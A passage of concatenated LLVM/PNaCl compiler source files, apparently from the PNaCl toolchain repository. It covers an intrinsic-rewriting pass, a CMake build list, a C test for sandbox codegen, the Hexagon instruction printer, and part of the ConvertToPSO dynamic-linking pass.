/// will be called by rewriteCall.
virtual void doRewriteCall(CallInst *Call) = 0;
Function *F;
private:
IntrinsicRewriter() = delete;
IntrinsicRewriter(const IntrinsicRewriter &) = delete;
IntrinsicRewriter &operator=(const IntrinsicRewriter &) = delete;
};
private:
/// Visit all uses of a Function, rewrite it using the \p Rewriter,
/// and then delete the Call. Later delete the Function from the
/// Module. Returns true if the Module was changed.
bool visitUses(IntrinsicRewriter &Rewriter);
};
/// Rewrite a Call to nothing.
class ToNothing : public RewriteLLVMIntrinsics::IntrinsicRewriter {
public:
ToNothing(Module &M, Intrinsic::ID IntrinsicID)
: IntrinsicRewriter(M, IntrinsicID) {}
virtual ~ToNothing() {}
protected:
virtual void doRewriteCall(CallInst *Call) {
// Nothing to do: the visit does the deletion.
}
};
/// Rewrite a Call to a ConstantInt of the same type.
class ToConstantInt : public RewriteLLVMIntrinsics::IntrinsicRewriter {
public:
ToConstantInt(Module &M, Intrinsic::ID IntrinsicID, uint64_t Value)
: IntrinsicRewriter(M, IntrinsicID), Value(Value),
RetType(function()->getFunctionType()->getReturnType()) {}
virtual ~ToConstantInt() {}
protected:
virtual void doRewriteCall(CallInst *Call) {
Constant *C = ConstantInt::get(RetType, Value);
Call->replaceAllUsesWith(C);
}
private:
uint64_t Value;
Type *RetType;
};
/// Rewrite to another, similar, intrinsic.
class ToAnotherIntrinsic : public RewriteLLVMIntrinsics::IntrinsicRewriter {
public:
ToAnotherIntrinsic(Module &M, Intrinsic::ID From, Intrinsic::ID To)
: IntrinsicRewriter(M, From), To(Intrinsic::getDeclaration(&M, To)) {}
virtual ~ToAnotherIntrinsic() {}
protected:
virtual void doRewriteCall(CallInst *Call) {
SmallVector<Value *, 16> Args(Call->arg_operands());
CallInst *NewCall = CallInst::Create(To, Args, "", Call);
Call->replaceAllUsesWith(NewCall);
}
private:
Function *To;
};
}
char RewriteLLVMIntrinsics::ID = 0;
INITIALIZE_PASS(RewriteLLVMIntrinsics, "rewrite-llvm-intrinsic-calls",
"Rewrite LLVM intrinsic calls to simpler expressions", false,
false)
bool RewriteLLVMIntrinsics::runOnModule(Module &M) {
// Replace all uses of the @llvm.flt.rounds intrinsic with the constant
// "1" (round-to-nearest). Until we add a second intrinsic like
// @llvm.set.flt.round it is impossible to have a rounding mode that is
// not the initial rounding mode (round-to-nearest). We can remove
// this rewrite after adding a set() intrinsic.
ToConstantInt FltRoundsRewriter(M, Intrinsic::flt_rounds, 1);
// Remove all @llvm.prefetch intrinsics.
ToNothing PrefetchRewriter(M, Intrinsic::prefetch);
ToNothing AssumeRewriter(M, Intrinsic::assume);
ToAnotherIntrinsic DebugTrapRewriter(M, Intrinsic::debugtrap,
Intrinsic::trap);
return visitUses(FltRoundsRewriter) | visitUses(PrefetchRewriter) |
visitUses(AssumeRewriter) | visitUses(DebugTrapRewriter);
}
bool RewriteLLVMIntrinsics::visitUses(IntrinsicRewriter &Rewriter) {
Function *F = Rewriter.function();
SmallVector<CallInst *, 64> Calls;
for (User *U : F->users()) {
if (CallInst *Call = dyn_cast<CallInst>(U)) {
Calls.push_back(Call);
} else {
// Intrinsics we care about currently don't need to handle this case.
std::string S;
raw_string_ostream OS(S);
OS << "Taking the address of this intrinsic is invalid: " << *U;
report_fatal_error(OS.str());
}
}
for (auto Call : Calls) {
Rewriter.rewriteCall(Call);
Call->eraseFromParent();
}
F->eraseFromParent();
return !Calls.empty();
}
ModulePass *llvm::createRewriteLLVMIntrinsicsPass() {
return new RewriteLLVMIntrinsics();
}
<file_sep>/lib/Bitcode/NaCl/Analysis/CMakeLists.txt
add_llvm_library(LLVMNaClBitAnalysis
AbbrevTrieNode.cpp
NaClBitcodeAnalyzer.cpp
NaClBitcodeDist.cpp
NaClBitcodeAbbrevDist.cpp
NaClBitcodeBitsDist.cpp
NaClBitcodeBitsAndAbbrevsDist.cpp
NaClBitcodeCodeDist.cpp
NaClBitcodeBlockDist.cpp
NaClBitcodeSizeDist.cpp
NaClBitcodeSubblockDist.cpp
NaClBitcodeValueDist.cpp
NaClAnalyzerBlockDist.cpp
NaClCompress.cpp
NaClCompressBlockDist.cpp
NaClCompressCodeDist.cpp
NaClObjDumpStream.cpp
NaClObjDump.cpp
)
add_dependencies(LLVMNaClBitAnalysis intrinsics_gen)
<file_sep>/test/NaCl/X86/pnacl-hides-sandbox-x86-64.c
/*
Object file built using:
pnacl-clang -S -O0 -emit-llvm -o pnacl-hides-sandbox-x86-64.ll \
pnacl-hides-sandbox-x86-64.c
*/
#include <stdlib.h>
#include <stdio.h>
void TestDirectCall(void) {
extern void DirectCallTarget(void);
DirectCallTarget();
}
void TestIndirectCall(void) {
extern void (*IndirectCallTarget)(void);
IndirectCallTarget();
}
void TestMaskedFramePointer(int Arg) {
extern void Consume(void *);
// Calling alloca() is one way to force the rbp frame pointer.
void *Tmp = alloca(Arg);
Consume(Tmp);
}
void TestMaskedFramePointerVarargs(int Arg, ...) {
extern void Consume(void *);
void *Tmp = alloca(Arg);
Consume(Tmp);
}
void TestIndirectJump(int Arg) {
switch (Arg) {
case 2:
puts("Prime 1");
break;
case 3:
puts("Prime 2");
break;
case 5:
puts("Prime 3");
break;
case 7:
puts("Prime 4");
break;
case 11:
puts("Prime 5");
break;
}
}
void TestReturn(void) {
}
<file_sep>/lib/Target/Hexagon/MCTargetDesc/HexagonInstPrinter.cpp
//===- HexagonInstPrinter.cpp - Convert Hexagon MCInst to assembly syntax -===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This class prints an Hexagon MCInst to a .s file.
//
//===----------------------------------------------------------------------===//
#include "HexagonAsmPrinter.h"
#include "Hexagon.h"
#include "HexagonInstPrinter.h"
#include "MCTargetDesc/HexagonMCInstrInfo.h"
#include "llvm/ADT/StringExtras.h"
#include "llvm/MC/MCAsmInfo.h"
#include "llvm/MC/MCExpr.h"
#include "llvm/MC/MCInst.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
#define DEBUG_TYPE "asm-printer"
#define GET_INSTRUCTION_NAME
#include "HexagonGenAsmWriter.inc"
const char HexagonInstPrinter::PacketPadding = '\t';
// Return the minimum value that a constant extendable operand can have
// without being extended.
static int getMinValue(uint64_t TSFlags) {
unsigned isSigned =
(TSFlags >> HexagonII::ExtentSignedPos) & HexagonII::ExtentSignedMask;
unsigned bits =
(TSFlags >> HexagonII::ExtentBitsPos) & HexagonII::ExtentBitsMask;
if (isSigned)
return -1U << (bits - 1);
return 0;
}
// Return the maximum value that a constant extendable operand can have
// without being extended.
static int getMaxValue(uint64_t TSFlags) {
unsigned isSigned =
(TSFlags >> HexagonII::ExtentSignedPos) & HexagonII::ExtentSignedMask;
unsigned bits =
(TSFlags >> HexagonII::ExtentBitsPos) & HexagonII::ExtentBitsMask;
if (isSigned)
return ~(-1U << (bits - 1));
return ~(-1U << bits);
}
// Return true if the instruction must be extended.
static bool isExtended(uint64_t TSFlags) {
return (TSFlags >> HexagonII::ExtendedPos) & HexagonII::ExtendedMask;
}
// Currently just used in an assert statement
static bool isExtendable(uint64_t TSFlags) LLVM_ATTRIBUTE_UNUSED;
// Return true if the instruction may be extended based on the operand value.
static bool isExtendable(uint64_t TSFlags) {
return (TSFlags >> HexagonII::ExtendablePos) & HexagonII::ExtendableMask;
}
StringRef HexagonInstPrinter::getOpcodeName(unsigned Opcode) const {
return MII.getName(Opcode);
}
StringRef HexagonInstPrinter::getRegName(unsigned RegNo) const {
return getRegisterName(RegNo);
}
void HexagonInstPrinter::printInst(MCInst const *MI, raw_ostream &O,
StringRef Annot,
const MCSubtargetInfo &STI) {
const char startPacket = '{',
endPacket = '}';
// TODO: add outer HW loop when it's supported too.
if (MI->getOpcode() == Hexagon::ENDLOOP0) {
// Ending a harware loop is different from ending an regular packet.
assert(HexagonMCInstrInfo::isPacketEnd(*MI) && "Loop-end must also end the packet");
if (HexagonMCInstrInfo::isPacketBegin(*MI)) {
// There must be a packet to end a loop.
// FIXME: when shuffling is always run, this shouldn't be needed.
MCInst Nop;
StringRef NoAnnot;
Nop.setOpcode (Hexagon::A2_nop);
HexagonMCInstrInfo::setPacketBegin (Nop, HexagonMCInstrInfo::isPacketBegin(*MI));
printInst (&Nop, O, NoAnnot, STI);
}
// Close the packet.
if (HexagonMCInstrInfo::isPacketEnd(*MI))
O << PacketPadding << endPacket;
printInstruction(MI, O);
}
else {
// Prefix the insn opening the packet.
if (HexagonMCInstrInfo::isPacketBegin(*MI))
O << PacketPadding << startPacket << '\n';
printInstruction(MI, O);
// Suffix the insn closing the packet.
if (HexagonMCInstrInfo::isPacketEnd(*MI))
// Suffix the packet in a new line always, since the GNU assembler has
// issues with a closing brace on the same line as CONST{32,64}.
O << '\n' << PacketPadding << endPacket;
}
printAnnotation(O, Annot);
}
void HexagonInstPrinter::printOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
const MCOperand& MO = MI->getOperand(OpNo);
if (MO.isReg()) {
O << getRegisterName(MO.getReg());
} else if(MO.isExpr()) {
O << *MO.getExpr();
} else if(MO.isImm()) {
printImmOperand(MI, OpNo, O);
} else {
llvm_unreachable("Unknown operand");
}
}
void HexagonInstPrinter::printImmOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
const MCOperand& MO = MI->getOperand(OpNo);
if(MO.isExpr()) {
O << *MO.getExpr();
} else if(MO.isImm()) {
O << MI->getOperand(OpNo).getImm();
} else {
llvm_unreachable("Unknown operand");
}
}
void HexagonInstPrinter::printExtOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
const MCOperand &MO = MI->getOperand(OpNo);
const MCInstrDesc &MII = getMII().get(MI->getOpcode());
assert((isExtendable(MII.TSFlags) || isExtended(MII.TSFlags)) &&
"Expecting an extendable operand");
if (MO.isExpr() || isExtended(MII.TSFlags)) {
O << "#";
} else if (MO.isImm()) {
int ImmValue = MO.getImm();
if (ImmValue < getMinValue(MII.TSFlags) ||
ImmValue > getMaxValue(MII.TSFlags))
O << "#";
}
printOperand(MI, OpNo, O);
}
void HexagonInstPrinter::printUnsignedImmOperand(const MCInst *MI,
unsigned OpNo, raw_ostream &O) const {
O << MI->getOperand(OpNo).getImm();
}
void HexagonInstPrinter::printNegImmOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
O << -MI->getOperand(OpNo).getImm();
}
void HexagonInstPrinter::printNOneImmOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
O << -1;
}
void HexagonInstPrinter::printMEMriOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
const MCOperand& MO0 = MI->getOperand(OpNo);
const MCOperand& MO1 = MI->getOperand(OpNo + 1);
O << getRegisterName(MO0.getReg());
O << " + #" << MO1.getImm();
}
void HexagonInstPrinter::printFrameIndexOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
const MCOperand& MO0 = MI->getOperand(OpNo);
const MCOperand& MO1 = MI->getOperand(OpNo + 1);
O << getRegisterName(MO0.getReg()) << ", #" << MO1.getImm();
}
void HexagonInstPrinter::printGlobalOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
assert(MI->getOperand(OpNo).isExpr() && "Expecting expression");
printOperand(MI, OpNo, O);
}
void HexagonInstPrinter::printJumpTable(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
assert(MI->getOperand(OpNo).isExpr() && "Expecting expression");
printOperand(MI, OpNo, O);
}
void HexagonInstPrinter::printConstantPool(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
assert(MI->getOperand(OpNo).isExpr() && "Expecting expression");
printOperand(MI, OpNo, O);
}
void HexagonInstPrinter::printBranchOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
// Branches can take an immediate operand. This is used by the branch
// selection pass to print $+8, an eight byte displacement from the PC.
llvm_unreachable("Unknown branch operand.");
}
void HexagonInstPrinter::printCallOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
}
void HexagonInstPrinter::printAbsAddrOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
}
void HexagonInstPrinter::printPredicateOperand(const MCInst *MI, unsigned OpNo,
raw_ostream &O) const {
}
void HexagonInstPrinter::printSymbol(const MCInst *MI, unsigned OpNo,
raw_ostream &O, bool hi) const {
assert(MI->getOperand(OpNo).isImm() && "Unknown symbol operand");
O << '#' << (hi ? "HI" : "LO") << "(#";
printOperand(MI, OpNo, O);
O << ')';
}
<file_sep>/lib/Transforms/NaCl/ConvertToPSO.cpp
//===- ConvertToPSO.cpp - Convert module to a PNaCl PSO--------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The ConvertToPSO pass is part of an implementation of dynamic
// linking for PNaCl. It transforms an LLVM module to be a PNaCl PSO
// (portable shared object).
//
// This pass takes symbol information that's stored at the LLVM IR
// level and moves it to be stored inside variables within the module,
// in a data structure rooted at the "__pnacl_pso_root" variable.
//
// This means that when the module is dynamically loaded, a runtime
// dynamic linker can read the "__pnacl_pso_root" data structure to
// look up symbols that the module exports and supply definitions of
// symbols that a module imports.
//
// Currently, this pass implements:
//
// * Exporting symbols
// * Importing symbols
// * when referenced by global variable initializers
// * when referenced by functions
// * Building a hash table of exported symbols to allow O(1)-time lookup
// * Support for thread-local variables (module-local use only)
// * Support for exporting and importing thread-local variables
//
// The following features are not implemented yet:
//
// * Support for lazy binding (i.e. lazy symbol resolution)
//
//===----------------------------------------------------------------------===//
#include "ExpandTls.h"
#include "llvm/ADT/SmallString.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/ValueHandle.h"
#include "llvm/Pass.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// This version number can be incremented when the format of the PSO data
// is changed in an incompatible way.
//
// For the time being, this is intended only as a convenience for making
// cross-repo changes, because the PSO format is interpreted by code in
// the native_client repo. The PSO format is not intended to be stable
// yet.
//
// If the format is changed in a compatible way, an alternative is to
// increment TOOLCHAIN_FEATURE_VERSION instead.
const int PSOFormatVersion = 2;
// Command line arguments consist of a list of PLL dependencies.
static cl::list<std::string>
LibraryDependencies("convert-to-pso-deps",
cl::CommaSeparated,
cl::desc("The dependencies of the PLL being built"),
cl::value_desc("PLL to list as dependency"));
// This is a ModulePass because it inherently operates on a whole module.
class ConvertToPSO : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
ConvertToPSO() : ModulePass(ID) {
initializeConvertToPSOPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
// This is <NAME>'s string hash algorithm.
uint32_t hashString(const std::string &S) {
uint32_t H = 5381;
for (unsigned char Ch : S)
H = H * 33 + Ch;
return H;
}
class SymbolTableEntry {
public:
SymbolTableEntry(StringRef Name, Constant *Val) :
Name(Name.data()), Value(Val), Hash(hashString(Name)) {}
std::string Name;
Constant *Value;
uint32_t Hash;
};
// This takes a SimpleElement from FlattenGlobals' normal form. If the
// SimpleElement is a reference to a GlobalValue, it returns the
// GlobalValue along with its addend. Otherwise, it returns nullptr.
GlobalValue *getReference(Constant *Init, uint64_t *Addend) {
*Addend = 0;
if (isa<ArrayType>(Init->getType()))
return nullptr;
if (auto CE = dyn_cast<ConstantExpr>(Init)) {
if (CE->getOpcode() == Instruction::Add) {
if (auto CI = dyn_cast<ConstantInt>(CE->getOperand(1))) {
if (auto Op0 = dyn_cast<ConstantExpr>(CE->getOperand(0))) {
CE = Op0;
*Addend = CI->getSExtValue();
}
}
}
if (CE->getOpcode() == Instruction::PtrToInt) {
if (auto GV = dyn_cast<GlobalValue>(CE->getOperand(0))) {
if (!GV->isDeclaration())
return nullptr;
return GV;
}
}
}
errs() << "Initializer value not handled: " << *Init << "\n";
report_fatal_error("ConvertToPSO: Value is not a SimpleElement");
}
// Set up an array as a Global Variable, given a SmallVector.
Constant *createArray(Module &M, const char *Name,
SmallVectorImpl<Constant *> *Array,
Type *ElementType) {
Constant *Contents = ConstantArray::get(
ArrayType::get(ElementType, Array->size()), *Array);
return new GlobalVariable(
M, Contents->getType(), true, GlobalValue::InternalLinkage,
Contents, Name);
}
Constant *createDataArray(Module &M, const char *Name,
SmallVectorImpl<uint32_t> *Array) {
Constant *Contents = ConstantDataArray::get(M.getContext(), *Array);
return new GlobalVariable(
M, Contents->getType(), true, GlobalValue::InternalLinkage,
Contents, Name);
}
// This function adds a level of indirection to references by functions
// to imported GlobalValues. Any time a function refers to a symbol that
// is defined outside the module, we modify the function to read the
// symbol's value from a global variable which we call the "globals
// table". The dynamic linker can then relocate the module by filling
// out the globals table.
//
// For example, suppose we have a C library that contains this:
//
// extern int imported_var;
//
// int *get_imported_var() {
// return &imported_var;
// }
//
// We transform that code to the equivalent of this:
//
// static void *__globals_table__[] = { &imported_var, ... };
//
// int *get_imported_var() {
// return __globals_table__[0];
// }
//
// The relocation to "addr_of_imported_var" is then recorded by a later
// part of the ConvertToPSO pass.
//
// The globals table does the same job as the Global Offset Table (GOT)
// in ELF. It is slightly different from the GOT because it is
// implemented as a different level of abstraction. In ELF, the GOT is a
// linker feature. Relocations can be relative to the GOT's base
// address, and there can only be one GOT per ELF module. The compiler
// and assembler can generate GOT-relative relocations (when compiling
// with "-fPIC"); the linker resolves these and generates the GOT.
//
// In contrast, in PNaCl the globals table is introduced at the level of
// LLVM IR. Unlike the GOT, the globals table is not special. Nothing
// needs to know about it outside this function. (However, this would
// change if we were to add support for lazy binding.)
void buildGlobalsTable(Module &M) {
// Search for all references to imported functions/variables by
// functions.
SmallVector<std::pair<Use *, unsigned>, 32> Refs;
SmallVector<Constant *, 32> TableEntries;
auto processGlobalValue = [&](GlobalValue &GV) {
if (GV.isDeclaration()) {
bool NeedsEntry = false;
for (Use &U : GV.uses()) {
if (isa<Instruction>(U.getUser())) {
NeedsEntry = true;
Refs.push_back(std::make_pair(&U, TableEntries.size()));
}
}
if (NeedsEntry) {
TableEntries.push_back(&GV);
}
}
};
for (Function &Func : M.functions()) {
if (!Func.isIntrinsic())
processGlobalValue(Func);
}
for (GlobalValue &Var : M.globals()) {
processGlobalValue(Var);
}
if (TableEntries.empty())
return;
// Create a GlobalVariable for the globals table.
Constant *TableData = ConstantStruct::getAnon(
M.getContext(), TableEntries, true);
auto TableVar = new GlobalVariable(
M, TableData->getType(), false, GlobalValue::InternalLinkage,
TableData, "__globals_table__");
// Update use sites to load addresses from the globals table.
for (auto &Ref : Refs) {
Value *GV = Ref.first->get();
Instruction *InsertPt = cast<Instruction>(Ref.first->getUser());
Value *Indexes[] = {
ConstantInt::get(M.getContext(), APInt(32, 0)),
ConstantInt::get(M.getContext(), APInt(32, Ref.second)),
};
Value *TableEntryAddr = GetElementPtrInst::Create(
TableData->getType(), TableVar, Indexes,
GV->getName() + ".gt", InsertPt);
Ref.first->set(new LoadInst(TableEntryAddr, GV->getName(), InsertPt));
}
}
// Add a symbol to a specified StringTable, as well as a vector tracking
// indices into the StringTable (and corresponding values).
void addToStringTable(SmallVectorImpl<char> *StringTable, Type *IntPtrType,
SmallVectorImpl<Constant *> *NameOffsets,
const StringRef Name) {
// Identify the offset in the StringTable that will contain the symbol name.
NameOffsets->push_back(ConstantInt::get(IntPtrType, StringTable->size()));
// Copy the name into the string table, along with the null terminator.
StringTable->append(Name.begin(), Name.end());
StringTable->push_back(0);
}
// handleLocalTlsVars() handles within-module references to thread-local (TLS)
// variables -- i.e. references to TLS variables that are defined within
// the module.
//
// Suppose we have the following access to a TLS variable:
//
// static __thread int tls_var;
//
// int *get_var() {
// return &tls_var;
// }
//
// We transform that code to the equivalent of this:
//
// struct TLSBlockGetter {
// // Returns pointer to the module's TLS block for the current thread.
// void *(*func)(struct TLSBlockGetter *closure);
// // The dynamic linker can use "arg" to store an ID for the module.
// uintptr_t arg;
// } __tls_getter_closure;
//
// int *get_var() {
// char *tls_base = __tls_getter_closure.func(&__tls_getter_closure);
// return (int *) (tls_base + OFFSET_FOR_TLS_VAR);
// }
//
// where OFFSET_FOR_TLS_VAR is a constant that is inlined into the code.
//
// Note that we only need one instance of TLSBlockGetter in the module.
//
// Exported TLS variables are added to the list of exported symbols (which are
// processed later in the ConvertToPSO pass), and exported as the offset from
// the base of the TLS block for a given module. This information is used by
// the dynamic linker when resolving symbols.
void handleLocalTlsVars(
Module &M, SmallVectorImpl<char> *StringTable, Type *PtrType,
Type *IntPtrType, SmallVectorImpl<TrackingVH<Constant>> *PsoRootTlsFields,
SmallVectorImpl<SymbolTableEntry> *ExportedSymbolTableVector) {
TlsTemplate Templ;
buildTlsTemplate(M, &Templ);
// Construct the TLSBlockGetter struct type and its function type.
StructType *ClosureType =
StructType::create(M.getContext(), "TLSBlockGetter");
Type *Args[] = { ClosureType->getPointerTo() };
FunctionType *FuncType = FunctionType::get(
IntPtrType, Args, /*isVarArg=*/false);
Type *ClosureTypeFields[] = {
FuncType->getPointerTo(),
IntPtrType,
};
ClosureType->setBody(ClosureTypeFields);
Constant *TemplateDataVar = new GlobalVariable(
M, Templ.Data->getType(), /*isConstant=*/true,
GlobalValue::InternalLinkage, Templ.Data, "__tls_template");
Constant *Closure = new GlobalVariable(
M, ClosureType, /*isConstant=*/false, GlobalValue::InternalLinkage,
Constant::getNullValue(ClosureType), "__tls_getter_closure");
PsoRootTlsFields->push_back(TemplateDataVar);
PsoRootTlsFields->push_back(ConstantInt::get(IntPtrType, Templ.DataSize));
PsoRootTlsFields->push_back(ConstantInt::get(IntPtrType, Templ.TotalSize));
PsoRootTlsFields->push_back(ConstantInt::get(IntPtrType, Templ.Alignment));
PsoRootTlsFields->push_back(Closure);
// Rewrite accesses to the TLS variables.
for (auto &VarInfo : Templ.TlsVars) {
GlobalVariable *Var = VarInfo.TlsVar;
// Delete unused ConstantExprs that reference Var, because the code
// that follows assumes none remain. ExpandConstantExprPass is one
// pass that is known to leave dead ConstantExprs behind, but other
// passes might too.
Var->removeDeadConstantUsers();
while (!Var->use_empty()) {
Use *U = &*Var->use_begin();
Instruction *InsertPt = PhiSafeInsertPt(U);
Value *Indexes[] = {
ConstantInt::get(M.getContext(), APInt(32, 0)),
ConstantInt::get(M.getContext(), APInt(32, 0)),
};
Value *FuncField = GetElementPtrInst::Create(
ClosureType, Closure, Indexes, "tls_getter_func_field", InsertPt);
Value *CallArgs[] = { Closure };
Value *Func = new LoadInst(FuncField, "tls_getter_func", InsertPt);
Value *Tp = CallInst::Create(Func, CallArgs, "tls_base", InsertPt);
Value *TlsField = BinaryOperator::Create(
Instruction::Add, Tp, ConstantInt::get(IntPtrType, VarInfo.Offset),
Var->getName(), InsertPt);
Value *Ptr = new IntToPtrInst(TlsField, Var->getType(),
Var->getName() + ".ptr", InsertPt);
PhiSafeReplaceUses(U, Ptr);
}
// For exported TLS variables, only export a constant offset from the base
// of the TLS block. This information can be processed by the dynamic
// linker to find the actual thread-local symbol at runtime.
// We explicitly copy Var's name into the ExportedSymbolTable since
// Constants cannot have names in LLVM.
if (Var->getLinkage() == GlobalValue::ExternalLinkage) {
Constant *ExportOffset =
Constant::getIntegerValue(PtrType, APInt(32, VarInfo.Offset));
ExportedSymbolTableVector->push_back(SymbolTableEntry(Var->getName(),
ExportOffset));
}
Var->eraseFromParent();
}
}
// handleImportedTlsVars() handles references to extern thread-local (TLS)
// variables -- i.e. references to TLS variables that are defined in other
// modules.
//
// Suppose we have the following access to a TLS variable:
//
// extern __thread int tls_var_extern;
//
// int *get_var() {
// return &tls_var_extern;
// }
//
// We transform that code to the equivalent of this:
//
// struct TLSVarGetter {
// // Returns pointer to the module's TLS block for the current thread.
// void *(*func)(struct TLSVarGetter *closure);
// // The dynamic linker can use "arg1" to store an ID for the module.
// uintptr_t arg1;
// // The dynamic linker can use "arg2" to store the offset of the
// // variable in the module's TLS block.
// uintptr_t arg2;
// } __tls_var_extern;
//
// int *get_var() {
// return __tls_var_extern.func(&__tls_var_extern);
// }
//
// All references to the imported TLS variable are replaced with a
// "TLSVarGetter" closure, which is filled in by the dynamic linker so that it
// can return the actual address of the imported variable at runtime.
//
// Note that we need one instance of TLSVarGetter per extern TLS variable in
// the module.
void handleImportedTlsVars(
Module &M, SmallVectorImpl<char> *StringTable, Type *PtrType,
Type *IntPtrType,
SmallVectorImpl<TrackingVH<Constant>> *PsoRootTlsFields) {
StructType *TLSVarClosureType =
StructType::create(M.getContext(), "TLSVarGetter");
Type *TLSVarClosureArgs[] = { TLSVarClosureType->getPointerTo() };
FunctionType *TLSVarClosureFuncType = FunctionType::get(
IntPtrType, TLSVarClosureArgs, /*isVarArg=*/false);
Type *TLSVarClosureTypeFields[] = {
TLSVarClosureFuncType->getPointerTo(),
IntPtrType,
IntPtrType,
};
TLSVarClosureType->setBody(TLSVarClosureTypeFields);
// Imported TLS GlobalVariables are stored separately, since the number of
// imported TLS variables must be calculated for ImportTLSArrayType, and the
// intermediate vector can prevent re-iterating over all globals.
std::vector<GlobalVariable *> ImportedTLSVars;
for (GlobalVariable &Var : M.globals()) {
if (Var.isThreadLocal() && !Var.hasInitializer()) {
ImportedTLSVars.push_back(&Var);
}
}
// Create a TLSVarClosure for each imported TLS variable.
// These imported TLS variables will not exist in the structure returned
// from "buildTlsTemplate", since they do not have initializers.
ArrayType *ImportTLSArrayType =
ArrayType::get(TLSVarClosureType, ImportedTLSVars.size());
GlobalVariable *ImportTLSArray = new GlobalVariable(
M, ImportTLSArrayType, false, GlobalValue::InternalLinkage,
Constant::getNullValue(ImportTLSArrayType), "import_tls_getter_array");
SmallVector<Constant *, 32> ImportTLSNames;
for (GlobalVariable *Var : ImportedTLSVars) {
// Delete unused ConstantExprs that reference Var, because the code
// that follows assumes none remain. ExpandConstantExprPass is one
// pass that is known to leave dead ConstantExprs behind, but other
// passes might too.
Var->removeDeadConstantUsers();
while (!Var->use_empty()) {
// For each use of the imported TLS variable, replace it with function
// call to the TLSVarGetter closure.
Use *U = &*Var->use_begin();
Instruction *InsertPt = PhiSafeInsertPt(U);
// ImportedValue = imported_tls_var_desc.getter(&imported_tls_var_desc);
Value *ArrayIndexes[] = {
ConstantInt::get(M.getContext(), APInt(32, 0)),
ConstantInt::get(M.getContext(), APInt(32, ImportTLSNames.size())),
};
Value *TLSVarClosure = GetElementPtrInst::Create(
ImportTLSArrayType, ImportTLSArray, ArrayIndexes,
Var->getName() + ".tls_imported_array_access", InsertPt);
Value *StructIndexes[] = {
ConstantInt::get(M.getContext(), APInt(32, 0)),
ConstantInt::get(M.getContext(), APInt(32, 0)),
};
Value *FuncField = GetElementPtrInst::Create(
TLSVarClosureType, TLSVarClosure, StructIndexes,
Var->getName() + ".tls_imported_struct_access", InsertPt);
Value *CallArgs[] = { TLSVarClosure };
Value *Func = new LoadInst(FuncField,
Var->getName() + ".tls_imported_getter_func",
InsertPt);
Value *ImportedValue = CallInst::Create(Func, CallArgs, Var->getName(),
InsertPt);
Value *Ptr = new IntToPtrInst(ImportedValue, Var->getType(),
Var->getName() + ".ptr", InsertPt);
PhiSafeReplaceUses(U, Ptr);
}
// Add the imported TLS variable name to the symbol table.
addToStringTable(StringTable, IntPtrType, &ImportTLSNames,
Var->getName());
Var->eraseFromParent();
}
PsoRootTlsFields->push_back(ImportTLSArray);
PsoRootTlsFields->push_back(
createArray(M, "import_tls_names", &ImportTLSNames, IntPtrType)),
PsoRootTlsFields->push_back(
ConstantInt::get(IntPtrType, ImportedTLSVars.size()));
}
}
char ConvertToPSO::ID = 0;
INITIALIZE_PASS(ConvertToPSO, "convert-to-pso",
"Convert module to a PNaCl portable shared object (PSO)",
false, false)
bool ConvertToPSO::runOnModule(Module &M) {
LLVMContext &C = M.getContext();
DataLayout DL(&M);
Type *PtrType = Type::getInt8Ty(C)->getPointerTo();
Type *IntPtrType = DL.getIntPtrType(C);
// Both handleTlsVars() and buildGlobalsTable() need to replace some uses
// of GlobalValues with instruction sequences, but that only works if
// functions don't contain ConstantExprs referencing those GlobalValues,
// because we can't modify a ConstantExpr to refer to an instruction. To
// address this, we first convert all ConstantExprs inside functions into
// instructions by running the ExpandConstantExpr pass.
FunctionPass *ConstExprPass = createExpandConstantExprPass();
for (Function &Func : M.functions())
ConstExprPass->runOnFunction(Func);
delete ConstExprPass;
// A table of strings which contains all imported and exported symbol names.
SmallString<1024> StringTable;
// This acts roughly like the ".dynsym" section of an ELF file.
// It contains all symbols which will be exported.
SmallVector<SymbolTableEntry, 32> ExportedSymbolTableVector;
// Enters the name of a symbol into the string table, and record
// the index at which the symbol is stored in the list of names.
auto createSymbol = [&](SmallVectorImpl<Constant *> *NameOffsets,
SmallVectorImpl<Constant *> *ValuePtrs,
const StringRef Name, Constant *Addr) {
// Identify the symbol's address (for exports) or the address which should
// be updated to include the symbol (for imports).
ValuePtrs->push_back(ConstantExpr::getBitCast(Addr, PtrType));
addToStringTable(&StringTable, IntPtrType, NameOffsets, Name);
};
// We need to wrap these Constants with TrackingVH<> because our later
// call to FlattenGlobals will recreate some of them with different
// types.
SmallVector<TrackingVH<Constant>, 5> PsoRootLocalTlsFields;
SmallVector<TrackingVH<Constant>, 3> PsoRootImportedTlsFields;
handleLocalTlsVars(M, &StringTable, PtrType, IntPtrType,
&PsoRootLocalTlsFields, &ExportedSymbolTableVector);
handleImportedTlsVars(M, &StringTable, PtrType, IntPtrType,
&PsoRootImportedTlsFields);
buildGlobalsTable(M);
// In order to simplify the task of processing relocations inside
// GlobalVariables' initializers, we first run the FlattenGlobals pass to
// reduce initializers to a simple normal form. This reduces the number
